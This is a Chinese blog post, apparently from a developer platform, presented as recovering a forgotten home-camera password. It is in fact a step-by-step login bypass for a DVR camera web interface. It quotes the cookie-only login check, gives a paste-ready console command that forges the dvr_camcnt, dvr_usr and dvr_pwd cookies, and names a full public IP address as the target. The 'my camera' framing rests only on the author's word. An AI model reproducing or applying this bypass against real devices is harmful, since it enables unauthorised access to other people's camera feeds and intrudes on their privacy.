家里摄像头密码忘记找回

密码忘记找回

 

  在生活中,摄像头随处可见。他们应用在很多方面。已经成了我们必备的工具。那他们可能有存在漏洞。

今天我对我的忘记密码家庭摄像头将进行找回

193a4d520af1467dbee27cc2a6b8f967.jpeg

 

 

 开始!

第一步:确定目标

我家的摄像头  88.248.xx.xx:80

13422fad93c4400aa19be203ad7f83d4.png

第二步:进行登录

我忘了密码

 好,我想登录摄像头。但不知道密码是多少,先来看看

摄像头的js脚本

3a27410bb2604540bb177f80fb5e9b5b.jpg

    我对之前用默认密码成功登录的页面进行抓包,找到处理页面登录逻辑的js,对处理页面登录的逻辑分析发现,存在登录绕过漏洞,代码如下:
$(document).ready(function(){
         dvr_camcnt= Cookies.get("dvr_camcnt");
         iSetAble= Cookies.get("iSetAble");
         iPlayBack= Cookies.get("iPlayBack");
         dvr_usr= Cookies.get("dvr_usr");
         dvr_pwd= Cookies.get("dvr_pwd");
         if(iSetAble== '0'){
                 $('#pb_settings').css('display','none');
                 }
         if(iPlayBack== '0'){
                 $('#pb_review').css('display','none');
                 }
         if(dvr_camcnt== null || dvr_usr == null || dvr_pwd == null)
         {
                 location.href= "/index.html";
         }

 

  摄像头管理页面直接通过indexjs检查cookie是否为空来判断用户是否登录。这样来写登录状态判断很危险
   所以,通过伪造cookie便可以绕过登录页。通过代码可以看到需要伪造三个cookie值,dvr_camcnt,dvr_usr=admin,dvr_pwd=123。直接打开http://88.248.56.88:80/view2.html时,抓包发现会自动提交cookie的值。dvr_usr和dvr_pwd随便设置。保存后,重新刷新一下,便可以成功登录系统。

dvr_camcnt是频道为偶数就好

 

第三步:开始找回

这里用伪造cookie工具edit+cookie可以

不过用console指令更好

打开浏览器开发者工具,console控制台

输入以下,如图

 

document.cookie="dvr_camcnt=4"; document.cookie="dvr_usr=admin"; document.cookie="dvr_pwd=123";

 

d85e2f767b204635b263bba62af3ec66.jpg

 

输入

87b73363fe644fbf956d8af31571918c.jpg

 

回车

2b56a31b214c42d3a196d52e146aa75a.jpg

 

若出现回显dvr_pwd=123。恭喜,成功

然后在地址栏输入http://88.248.xx.xx:80/view2.html

ca0504b7c39a4b469507b0b46259f976.jpg

 然后到设置里改回,成功

欢迎大佬在评论区赐教

请给予我支持,\(^o^)/关注一下吧!!!

 

 

 

 

 

 

 

 

 

 

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值